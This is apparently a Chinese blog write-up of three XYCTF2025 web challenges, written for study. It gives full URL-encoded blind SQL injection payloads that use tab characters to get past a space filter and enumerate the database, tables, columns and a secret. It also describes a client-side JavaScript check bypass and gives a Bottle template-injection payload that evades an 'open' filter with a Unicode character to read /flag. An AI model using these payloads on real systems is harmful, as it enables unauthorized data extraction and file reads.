xyctf2025web部分wp
XYCTF2025
ezsql(手动滑稽):
(真的没有想到是宽字节注入,第一次做,没有做出来,问学长要wp,我还没有复现出来,我是傻逼,现在只能复现了)
首先看见题目是sql注入漏洞,打开是让你登录平台,然后就fuzz测试过滤了空格,转义了’(所以要宽字节注入),关键字到是没有
然后就是使用substring这个函数:
解释:
SUBSTRING(str, pos, len):
str
:表示要从中提取子字符串的原始字符串。pos
:指定子字符串的起始位置。若为正数,则从字符串的开头开始计数;若为负数,则从字符串的末尾开始计数。len
:指定要提取的子字符串的长度。
username=1'%09or%09substring(database()%09FROM%092%09FOR%091)='a'%23&password=1(爆库) |
username=admin'%09OR%09substring((select%09table_name%09from%09information_schema.tables%09where%09table_schema='testdb'%09limit%091%09offset%090)%09FROM%091%09FOR%091)='a'%23&password=1(爆表) |
username=admin'%09OR%09case%09when%09(ascii(substring((select%09column_name%09from%09information_schema.columns%09where%09table_name='double_check'%09limit%091)%09FROM%092%09FOR%091))=116)%09then%091%09else%090%09end=1%23&password=1(爆列) |
username=admin'%09OR%09case%09when%09(ascii(substring((select%09secret%09from%09double_check%09limit%091)%09FROM%092%09FOR%091))=116)%09then%091%09else%090%09end=1%23&password=1 |
然后就像这样一个一个测试,拿到:dtfrtkcc0czkoua9S
同理:这样一个个测出来账号和密码:yudeyoushang/zhonghengyisheng,进去之后直接进行RCE就ok了
ez_puzzle:
这个他要你进行拼图,小游戏先查看js就行,发现不让我看,肯定有好东西,直接ctrl+shift+i查看,知道是小弹窗,js里面搜索alert就行了,发现有判断条件,将小于号改成大于号就行,然后再拼一次就行了。
出题人已疯:
# -*- encoding: utf-8 -*- |
# 定义/attack路径的路由 |
也就是说
需要尝试构造出小于25,并且不包含open和\字符的有效负载或者找到一种方式绕过小于25的限制(不过他是bottle)
经过测试发现可以使用unicode绕过,
%7b%7b%ba%70%65%6e%28%27%2f%66%6c%61%67%27%29%2e%72%65%61%64%28%29%7d%7d |
不过o可以使用%ba进行绕过(用斜体绕过,nb)
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Wea5e1-B10G!